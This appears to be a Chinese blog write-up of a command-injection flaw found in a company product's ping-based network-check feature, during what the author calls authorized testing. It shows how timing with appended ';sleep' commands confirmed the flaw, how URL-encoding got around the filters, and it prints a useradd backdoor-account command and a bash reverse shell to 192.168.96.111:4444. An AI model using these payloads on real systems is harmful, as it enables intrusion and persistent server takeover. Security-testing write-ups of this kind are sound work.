命令执行漏洞挖掘实例

前言

这两天给公司的产品做安全测试,有个比较经典的命令执行漏洞感觉还挺有意思,写出来记录一下

一: 前期判断

看到这里有个网络检测,感觉就有命令执行 的漏洞,抓包就试试看
在这里插入图片描述
输入127.0.0.1本地地址,发现能ping通
在这里插入图片描述
发现如果命令不正确或者ip地址不存在,返回包为false。因此即使存在命令执行的漏洞也无法回显。那这里就考虑用延时判断是不是存在命令执行漏洞

二:判断是否存在命令执行注入

其实之前走了很多歪路,这里就不提了。ping命令有个参数,-c 表示icmp要发几个包。这里我们通过 修改-c 的数目,理论上-c的数值越大,那返回的时间越长
这里遇到第一个问题
在这里插入图片描述
添加参数报错,这里空格处通过%20替代,因为http包有url转码,所以%20到服务器端会解析为空格,成功绕过
-c 1 时,时间59毫秒
在这里插入图片描述
-c 2 ,时间为4086毫秒
在这里插入图片描述
从这里的话,就知道-c 这个参数已经带入成功,那在尝试拼接命令。拼接命令使用&&,&,|,||等,都试了,感觉不是很合适,因为前面命令一旦执行成功,页面上马上就回显回来,无法通过时间来判断。这里我使用分号;做拼接,分号后面都命令执行完之后,这个包才能判断true or false
尝试127.0.0.1 -c 1;sleep 1
这里 -c 参数不要太大,时间久了默认就false,sleep也不宜过大,只要能体现页面回显的时间变化就可以
t = 4086
在这里插入图片描述
127.0.0.1 -c 1;sleep 2
t = 8069
在这里插入图片描述
到这里就很明确,sleep命令已经执行成功,且存在命令执行注入漏洞

三:通过命令执行注入获取服务器权限

这里也卡了一段时间,最后解决就很快。想过2个方法获得服务器权限。
一个的话通过一句话命令新增用户,到时候直接连服务器就可以。
如新建test:123456用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` test
另外一个就是反弹shell
bash -i >& /dev/tcp/192.168.96.111/4444 0>&1
但是呢,这两条命令都有特殊符号,特别像&,如果空格可以用%20绕过都话,其他字符在绕过上我还没啥思路,会报请求错误
在这里插入图片描述
到这里又卡了一下,难道命令注入找到了,却无法利用,这就有点尴尬了,后来忽然想起来,空格能通过url编码绕过,那整个请求参数值能做一遍url编码不是也可以嘛,试试看
在这里插入图片描述
开启监听
在这里插入图片描述
将编码后的参数替换,放包,虽然一直卡着,当监听的shell已经回来,成功拿到服务器权限
在这里插入图片描述
在这里插入图片描述

到这里就结束了,关于那第三节,不知道有没有不通过编码的绕过方式,如果有,感谢指教~

  • 3
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值